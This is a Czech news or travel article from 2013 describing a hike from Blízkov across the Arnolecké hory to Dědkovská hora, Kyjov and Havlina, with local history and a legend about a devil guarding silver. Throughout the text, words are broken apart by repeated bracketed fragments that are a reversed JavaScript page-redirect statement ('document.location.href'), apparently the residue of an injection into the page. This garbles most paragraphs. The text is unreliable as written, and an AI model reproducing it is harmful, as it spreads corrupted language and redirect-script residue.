Rainbow page separator

Z českých minihor jsou vidět sousední Žďárské vrchy

Čtvrtek, 25. července 2013

Blízkov / Začátek asi dvacetikilometrového výšlapu do Arnoleckých hor – nejnižších hor České republiky – je v obci Blízkov u Netína, která je vzdálená třiadvacet kilometrů od Žďáru nad Sázavou. První písemná zmínka o Blízkově pochází z roku 1298. Jeho majitelé se v průběhu let střídali, až po bitvě na Bílé hoře v roce 1621 byl všechen okolní majetek prodán Rombaldovi hraběti Collal[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tovi, přičemž ten[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to šlechtický rod jej pak držel až do roku 1945.

kostelAu[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tomobil je možné zaparkovat ve středu obce, kde jsou kromě rybníka tři církevní stavby. Moderní kotel svatého Václava byl vystavěn v roce 1971, ale až v roce 1990 vysvěcen. Před jeho vchodem jsou umístěny sochy svatého Václava a Panny Marie. Za kostelem s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tojí zajímavá kaplička svatého Jana Nepomuckého, která byla postavena kolem roku 1762, a hned vedle malá čtyřboká zvonička.

Obec Blízkov se v polovině minulého s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toletí proslavila netradiční spor[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tovní a technickou zajímavostí v podobě lyžařského můstku na kopci Mirhart. Postavili ho v letech 1946 a 1947 spor[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tovní nadšenci pod vedením blízkovského obyvatele Josefa Svobody, trojnásobného vítěze běhu Praha – Běchovice. Můstek se od jiných podobných staveb lišil tím, že měl i letní provoz. Na sjezdovku byla položena vrstva žitné slámy, jež byla prošita silným provázkem doškovitě ke konstrukci, a na dojezd byla navezena suchá lesní hrabanka promíchaná s řezanou slámou. Skokanský můstek s výškou 22,5 metrů se stal velikou atrakcí, ke které se sjížděli diváci i nadšení spor[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tovci ze širokého okolí. Slaměné závody se na prvním můstku s umělým povrchem v Československu konaly pravidelně až do jara roku 1958, kdy jej rozmetala velká větrná smršť. Poté už nikdy nebyl obnoven.

rozcestnik-dekovska-horaZe středu Blízkova směřuje žlutá turistická značka na čtyři kilometry vzdálenou Dědkovskou horu. Cesta nejdříve míří obcí, poté se vine po místní komunikaci, pak trasa uhne do polí a nakonec dál k lesu, ze kterého kopec porostlý hus[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou vegetací vyčnívá nad krajinu. Výškový rozdíl mezi nadmořskou výškou v obci (494 metrů) a na vrcholu Dědkovské hory (694 metrů) je relativně značný, celých dvě stě metrů. Ze začátku je s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toupání na kopec jenom pozvolné, poslední úsek cesty je pak podstatně fyzicky náročnější. Značení vede převážně lesem a travnaté úseky nejsou příliš prošlapané, což znamená, že na Dědkovskou horu zástupy turistů nesměřují. Nezbývá tedy než bedlivě sledovat žlu[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou značku.

dedkovska-studanka1V Dědkovské hoře se traduje dřívější dobývání stříbra, podle pověsti se nakonec všeho bohatství zmocnil ďábel a dodnes ho střeží v tamních podzemních š[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tolách. Podle jiné legendy na kopci kdysi stávala modla pohanského bůžka Dědka. Nyní tam od roku 1984 s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tojí osmimetrový kříž, vedle je na sloupku umístěna skříňka s vrcholovou knihou a nezbytnostmi, jako je razítko Dědkovské hory, propiska či otvírák na lahve. Kromě patníku s vyrytým le[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];topočtem 1923 se na vrcholu kopce nachází také kameny ohraničené ohniště a posezení s několika lavičkami z klád.

Dědkovská hora je nejjižnějším a zároveň třetím nejvyšším vrcholem Arnoleckých hor. A také nejstrmějším. Ty[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to minihory jsou pojmenovány podle malé vesnice pod jejich jihozápadními svahy a leží ve střední části Českomoravské vrchoviny. Pro[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tože své okolí převyšují o více než 150 metrů, tak ačkoliv nejsou vysoké, představují výraznou krajinnou dominantu, jež je vidět až do padesátikilometrové vzdálenosti.

vrcholova-pametni-kniha1Dědkovská hora nese název podle vesničky na jejím úpatí, právě s Dědkovem je spojená pověst, která připomíná onoho ďábla, jenž měl ve starých š[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tolách v hoře schovávat stříbrný poklad. Ve vsi kdysi žila velmi chudobná babička se svými vnoučaty. Když už nevěděla, čím by děti, o které se starala, nakrmila a za co by jim pořídila teplé oblečení na zimu, sousedé jí poradili, ať jde na Dědkovskou horu požádat o pomoc ďábla. Ten jí skutečně pomohl a daroval jí trochu stříbrných peněz, aby nakoupila, co potřebovala.

Příhoda se hned rozkřikla po celém Dědkově a jeden z místních sedláků se rozhodl, že také jednoduše přijde k penězům. Byl sice bohatý dost, ale měl za [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to, že je [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to pořád málo, takže si usmyslel, že čím více stříbrňáků z pekelníka vymámí, tím lépe. Ale pro[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tože byl velice lakotný a chamtivý, požadoval po ďáblovi obrovské množství peněz. Ten se nad jeho nenasytností rozzuřil a hrabivý sedlák za svoji opovážlivost zaplatil životem. Od [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toho dne se už nikdo další za ďáblem pro peníze neodvážil vypravit…

Na Dědkovské hoře začíná hřebenová túra, je značená zeleně. Prochází nejdříve lesem, a [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to až k rozcestníku Pavlov-hájovna, který je od Dědkovské hory vzdálený dva kilometry. Pak vede i přes louky a pastviny s četnými rozhledy do krajiny. Poblíž osady Kyjov, jejímž okrajem značení směřuje, je v lesích skryt druhý nejvyšší vrchol Arnoleckých hor – Kyjov (702 metrů nad mořem).

havlinaTuristická cesta s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toupá nad osadu Kyjov, kde ukazatel oznamuje, že od pavlovského rozcestí jsme ušli půldruhého kilometru. Pak trasa směřuje tři kilometry otevřeným bezlesým úsekem po silnici až téměř k nejvyšší kótě Arnoleckých hor, která se nachází na kopci Havlina (706 metrů nad mořem). Vrchol Havliny je zdaleka viditelný a dobře identifikovatelný díky vysokému telekomunikačnímu s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tožáru s anténami, pod kterým s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tojí technický objekt obehnaný plotem s ostnatým drátem proti vstupu nepovolaným osobám. Od Dědkovské hory je vrchol Havliny vzdálený sedm kilometrů.

havlina1Přímo na vrcholku je sice les, ale vyhlídkou na Žďárské vrchy je možné se pokochat o pár kroků před ním, kde výhled nezakrývají vzrostlé stromy. Kousek od vrcholu směrem na severozápad je umístěno kryté posezení pro turisty, načež zelená značka pak pokračuje dále k vesnici Stáj.

My ale už dále nepůjdeme a vrátíme se zpět do Blízkova stejnou ces[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou, kterou jsme k Havlině přišli, pro[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tože v lokalitě je velmi řídké turistické značení. Druhou možností je použití místních komunikací, polních a lesních cest, ale v [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tom případě se neobejdeme bez mapy, busoly, případně navigace. Doporučena je minimálně například aktualizovaná cykloturistická mapa Jihlavsko – Třebíčsko č. 150 vydaná Kar[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tografií Praha.